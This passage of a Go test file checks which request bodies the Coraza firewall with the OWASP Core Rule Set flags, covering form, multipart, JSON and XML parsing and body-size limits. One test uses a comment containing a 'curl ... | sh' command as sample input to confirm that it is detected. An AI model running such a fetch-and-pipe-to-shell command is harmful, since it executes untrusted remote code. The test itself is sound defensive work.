wantBody(t, crs, post(fetch, gzip), "a", coreruleset.Result{}, "")
wantBody(
t,
atDefaults(t),
post(formData, gzip),
"a",
coreruleset.Result{},
"",
)
}
func TestParametersGiteaSendsNamesInAreLeftOutAmongFormFieldsToo(
t *testing.T,
) {
t.Parallel()
crs := readingBodies(t)
local := url.QueryEscape("http://127.0.0.1:52341/")
for _, tc := range []struct {
body string
want coreruleset.Result
}{
{"path=.gitignore", coreruleset.Result{}},
{"q=.gitignore", matched(930120)},
{"redirect_uri=" + local, coreruleset.Result{}},
{"next=" + local, matched(931100, 934110)},
} {
wantBody(t, crs, post(formData), tc.body, tc.want, tc.body)
}
body := field("path", ".gitignore") + end
wantBody(t, crs, post(multipart), body, coreruleset.Result{}, body)
body = field("q", ".gitignore") + end
wantBody(t, crs, post(multipart), body, matched(930120), body)
// A JSON body's field is named by its path, here json.path, and is
// checked.
body = `{"path":".gitignore"}`
wantBody(t, crs, post(jsonBody), body, matched(930120), body)
}
func TestGiteaBodiesTheCoreRuleSetRefuses(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// A comment that shows a shell command.
const text = "Try `curl -s https://example.org | sh` first."
comment := "content=" + url.QueryEscape(text)
wantBody(t, crs, post(formData), comment, matched(932235), comment)
// An attachment named like a log file.
attachment := "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
"filename=\"debug.log\"\r\nContent-Type: text/plain\r\n\r\nstarted\r\n" + end
wantBody(
t,
crs,
post(multipart),
attachment,
matched(932180),
attachment,
)
}
func TestTypesEndingInXMLOrJSONAndTextJSONAreRead(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, tc := range []struct{ contentType, body string }{
{"application/atom+xml", "<q>" + injection + "</q>"},
{"application/vnd.example+xml", "<q>" + injection + "</q>"},
{"application/vnd.example+json", `{"q":"` + injection + `"}`},
{"text/json", `{"q":"` + injection + `"}`},
} {
wantBody(t, crs, post("Content-Type: "+tc.contentType), tc.body,
matched(942100), tc.body)
}
}
func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// An end tag after the root element, past which Coraza reads none of
// the body, while an app may still read the attack before it.
body := "<q>" + injection + "</q></r>"
wantBody(t, crs, post(xmlBody), body, matched(900440), body)
// The multipart bodies Coraza cannot parse fail its strict checks too:
// one whose type names its boundary twice, and one with a part header
// that has no colon, before the attack. They do so padded past the
// limit too, which cuts them in the padding.
noColon := "--b\r\nContent-Disposition form-data; name=\"a\"\r\n\r\n1\r\n"
pad := field("pad", strings.Repeat("a", bodyLimit))
for _, tc := range []struct{ header, head string }{
{multipart + "; boundary=c", ""},
{multipart, noColon},
} {
body = tc.head + field("q", injection) + end
wantBody(
t,
crs,
post(tc.header),
body,
matched(900440, 900450),
body,
)
body = tc.head + field("q", injection) + pad + end
wantBody(t, crs, post(tc.header), body, matched(900440, 900450),
body[:bodyLimit+1])
}
}
func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
t.Parallel()
// The limit falls in the middle of the name of the second part's
// header, which Coraza, reading up to the limit, cannot tell from a
// header without a colon.
cut := "--b\r\nContent-Di"
first := field(
"pad",
strings.Repeat("a", bodyLimit-len(field("pad", ""))-len(cut)),
)
body := first + cut + "sposition: form-data; name=\"q\"\r\n\r\n1\r\n" + end
wantBody(
t,
readingBodies(t),
post(multipart),
body,
matched(900440, 900450),
body[:bodyLimit+1],
)
}
func TestMultipartBodyCutBeforeALineFeedInAPartsHeadersIsAMatch(
t *testing.T,
) {
t.Parallel()
crs := readingBodies(t)
headerLine := "--b\r\nContent-Disposition: form-data; name=\"q\"\r"
// The limit falls between the carriage return and the line feed that
// end the second part's header line, and then between those that end
// the empty line after it. Coraza, reading up to the limit, takes the
// line ending in a lone carriage return for a malformed header.
for _, cut := range []int{len(headerLine), len(headerLine + "\n\r")} {
first := field(
"pad",
strings.Repeat("a", bodyLimit-len(field("pad", ""))-cut),
)
body := first + field("q", "1") + end
wantBody(t, crs, post(multipart), body, matched(900440, 900450),
body[:bodyLimit+1])
}
}
// TestCorazaWritesNoFile is not parallel, since it sets TMPDIR, the
// system's temporary directory, for the whole test process.
func TestCorazaWritesNoFile(t *testing.T) {
// The system's temporary directory is one that does not exist, so that
// Coraza could write nothing there: built without no_fs_access, it
// refuses to load, and could not write a file of a multipart body.
t.Setenv("TMPDIR", filepath.Join(t.TempDir(), "missing"))
// The test loads its own Core Rule Set, since loading is part of what
// it checks.
crs, err := coreruleset.New(coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
})
if err != nil {
t.Fatalf("load the Core Rule Set: %v", err)
}
body := "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
"filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\n" +
strings.Repeat("a", 1000) + "\r\n" + field("q", injection) + end
wantBody(t, crs, post(multipart), body, matched(942100), body)
}
func TestBodyLimitOf1GLoads(t *testing.T) {
t.Parallel()
_, err := coreruleset.New(
coreruleset.Params{ParanoiaLevel: 1, BodyLimit: 1 << 30},
)
if err != nil {
t.Errorf("load the Core Rule Set reading bodies up to 1G: %v", err)
}
}